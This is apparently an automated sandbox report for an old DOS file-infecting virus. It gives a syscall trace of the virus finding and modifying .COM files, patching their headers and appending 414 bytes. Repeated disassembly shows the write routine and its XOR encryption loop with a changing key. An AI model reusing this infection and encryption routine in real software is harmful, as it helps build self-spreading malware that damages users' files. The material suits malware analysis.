Sample viewer

vx.netlux.org/Virus.DOS.VCC.HH.414

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:10:18.251192444Z 26 PC: 12e54 | Set disk transfer address
2018-12-17T23:10:18.253914967Z 37 PC: 12e62 | Set interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T23:10:18.255135231Z 37 PC: 12e66 | Set interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T23:10:18.256445168Z 78 PC: 12eb4 | Find first file
2018-12-17T23:10:18.263795883Z 61 PC: 12f50 | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:10:18.274840374Z 63 PC: 12f5f | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:10:18.283916577Z 66 PC: 12f6f | Move file pointer
2018-12-17T23:10:18.285706898Z 66 PC: 12f7f | Move file pointer
2018-12-17T23:10:18.287954762Z 64 PC: 12f8b | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:10:18.290591682Z 66 PC: 12f98 | Move file pointer
2018-12-17T23:10:18.291793019Z 44 PC: 12f9c | Get time 0x12f9c: mov byte ptr ds:[bp + 0x29e], dl
0x12fa1: call 0x12fb7
0x12fa4: mov ah, 0x40
0x12fa6: mov cx, 0x19e
0x12fa9: lea dx, word ptr [bp + 0x106]
0x12fad: int 0x21
0x12faf: call 0x12fb7
0x12fb2: mov ah, 0x3e
0x12fb4: int 0x21
0x12fb6: ret
0x12fb7: lea si, word ptr [bp + 0x11f]
0x12fbb: mov cx, 0x160
0x12fbe: xor byte ptr [si], 0x35
0x12fc1: inc si
0x12fc2: dec cx
0x12fc3: jne 0x12fbe
0x12fc5: ret
0x12fc6: add word ptr [bx], di
0x12fc8: aas
0x12fc9: aas
2018-12-17T23:10:18.295081204Z 64 PC: 12faf | Write file or device (Write 414 bytes on handle 5)
2018-12-17T23:10:18.309751947Z 62 PC: 12fb6 | Close file
2018-12-17T23:10:18.31766382Z 79 PC: 12eb4 | Find next file
2018-12-17T23:10:18.32122574Z 61 PC: 12f50 | Open file (Filename = 'PRINT.COM')
2018-12-17T23:10:18.327558007Z 63 PC: 12f5f | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:10:18.333553614Z 66 PC: 12f6f | Move file pointer
2018-12-17T23:10:18.335226206Z 66 PC: 12f7f | Move file pointer
2018-12-17T23:10:18.33639924Z 64 PC: 12f8b | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:10:18.3386758Z 66 PC: 12f98 | Move file pointer
2018-12-17T23:10:18.34060245Z 44 PC: 12f9c | Get time 0x12f9c: mov byte ptr ds:[bp + 0x29e], dl
0x12fa1: call 0x12fb7
0x12fa4: mov ah, 0x40
0x12fa6: mov cx, 0x19e
0x12fa9: lea dx, word ptr [bp + 0x106]
0x12fad: int 0x21
0x12faf: call 0x12fb7
0x12fb2: mov ah, 0x3e
0x12fb4: int 0x21
0x12fb6: ret
0x12fb7: lea si, word ptr [bp + 0x11f]
0x12fbb: mov cx, 0x160
0x12fbe: xor byte ptr [si], 0x3f
0x12fc1: inc si
0x12fc2: dec cx
0x12fc3: jne 0x12fbe
0x12fc5: ret
0x12fc6: add word ptr [bx], di
0x12fc8: aas
0x12fc9: aas
2018-12-17T23:10:18.342774042Z 64 PC: 12faf | Write file or device (Write 414 bytes on handle 5)
2018-12-17T23:10:18.3458995Z 62 PC: 12fb6 | Close file
2018-12-17T23:10:18.353814288Z 79 PC: 12eb4 | Find next file
2018-12-17T23:10:18.356027287Z 61 PC: 12f50 | Open file (Filename = 'HELLO.COM')
2018-12-17T23:10:18.35999527Z 63 PC: 12f5f | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:10:18.366917465Z 66 PC: 12f6f | Move file pointer
2018-12-17T23:10:18.368213152Z 66 PC: 12f7f | Move file pointer
2018-12-17T23:10:18.369448098Z 64 PC: 12f8b | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:10:18.372070184Z 66 PC: 12f98 | Move file pointer
2018-12-17T23:10:18.374067293Z 44 PC: 12f9c | Get time 0x12f9c: mov byte ptr ds:[bp + 0x29e], dl
0x12fa1: call 0x12fb7
0x12fa4: mov ah, 0x40
0x12fa6: mov cx, 0x19e
0x12fa9: lea dx, word ptr [bp + 0x106]
0x12fad: int 0x21
0x12faf: call 0x12fb7
0x12fb2: mov ah, 0x3e
0x12fb4: int 0x21
0x12fb6: ret
0x12fb7: lea si, word ptr [bp + 0x11f]
0x12fbb: mov cx, 0x160
0x12fbe: xor byte ptr [si], 0x3f
0x12fc1: inc si
0x12fc2: dec cx
0x12fc3: jne 0x12fbe
0x12fc5: ret
0x12fc6: add word ptr [bx], di
0x12fc8: aas
0x12fc9: aas
2018-12-17T23:10:18.376309177Z 64 PC: 12faf | Write file or device (Write 414 bytes on handle 5)
2018-12-17T23:10:18.378968624Z 62 PC: 12fb6 | Close file
2018-12-17T23:10:18.386812639Z 79 PC: 12eb4 | Find next file
2018-12-17T23:10:18.389294563Z 61 PC: 12f50 | Open file (Filename = 'PHANG.COM')
2018-12-17T23:10:18.395548063Z 63 PC: 12f5f | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:10:18.402465906Z 66 PC: 12f6f | Move file pointer
2018-12-17T23:10:18.40378826Z 66 PC: 12f7f | Move file pointer
2018-12-17T23:10:18.405045315Z 64 PC: 12f8b | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:10:18.408965202Z 66 PC: 12f98 | Move file pointer
2018-12-17T23:10:18.410440545Z 44 PC: 12f9c | Get time 0x12f9c: mov byte ptr ds:[bp + 0x29e], dl
0x12fa1: call 0x12fb7
0x12fa4: mov ah, 0x40
0x12fa6: mov cx, 0x19e
0x12fa9: lea dx, word ptr [bp + 0x106]
0x12fad: int 0x21
0x12faf: call 0x12fb7
0x12fb2: mov ah, 0x3e
0x12fb4: int 0x21
0x12fb6: ret
0x12fb7: lea si, word ptr [bp + 0x11f]
0x12fbb: mov cx, 0x160
0x12fbe: xor byte ptr [si], 0x45
0x12fc1: inc si
0x12fc2: dec cx
0x12fc3: jne 0x12fbe
0x12fc5: ret
0x12fc6: add word ptr [bx], di
0x12fc8: aas
0x12fc9: aas
2018-12-17T23:10:18.412699031Z 64 PC: 12faf | Write file or device (Write 414 bytes on handle 5)
2018-12-17T23:10:18.433733548Z 62 PC: 12fb6 | Close file
2018-12-17T23:10:18.441979267Z 79 PC: 12eb4 | Find next file
2018-12-17T23:10:18.44479513Z 61 PC: 12f50 | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T23:10:18.452537655Z 63 PC: 12f5f | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:10:18.458810641Z 66 PC: 12f6f | Move file pointer
2018-12-17T23:10:18.460564663Z 66 PC: 12f7f | Move file pointer
2018-12-17T23:10:18.473054761Z 64 PC: 12f8b | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:10:18.476653047Z 66 PC: 12f98 | Move file pointer
2018-12-17T23:10:18.478360614Z 44 PC: 12f9c | Get time 0x12f9c: mov byte ptr ds:[bp + 0x29e], dl
0x12fa1: call 0x12fb7
0x12fa4: mov ah, 0x40
0x12fa6: mov cx, 0x19e
0x12fa9: lea dx, word ptr [bp + 0x106]
0x12fad: int 0x21
0x12faf: call 0x12fb7
0x12fb2: mov ah, 0x3e
0x12fb4: int 0x21
0x12fb6: ret
0x12fb7: lea si, word ptr [bp + 0x11f]
0x12fbb: mov cx, 0x160
0x12fbe: xor byte ptr [si], 0x45
0x12fc1: inc si
0x12fc2: dec cx
0x12fc3: jne 0x12fbe
0x12fc5: ret
0x12fc6: add word ptr [bx], di
0x12fc8: aas
0x12fc9: aas
2018-12-17T23:10:18.482092249Z 64 PC: 12faf | Write file or device (Write 414 bytes on handle 5)
2018-12-17T23:10:18.485119856Z 62 PC: 12fb6 | Close file
2018-12-17T23:10:18.49276136Z 26 PC: 12ece | Set disk transfer address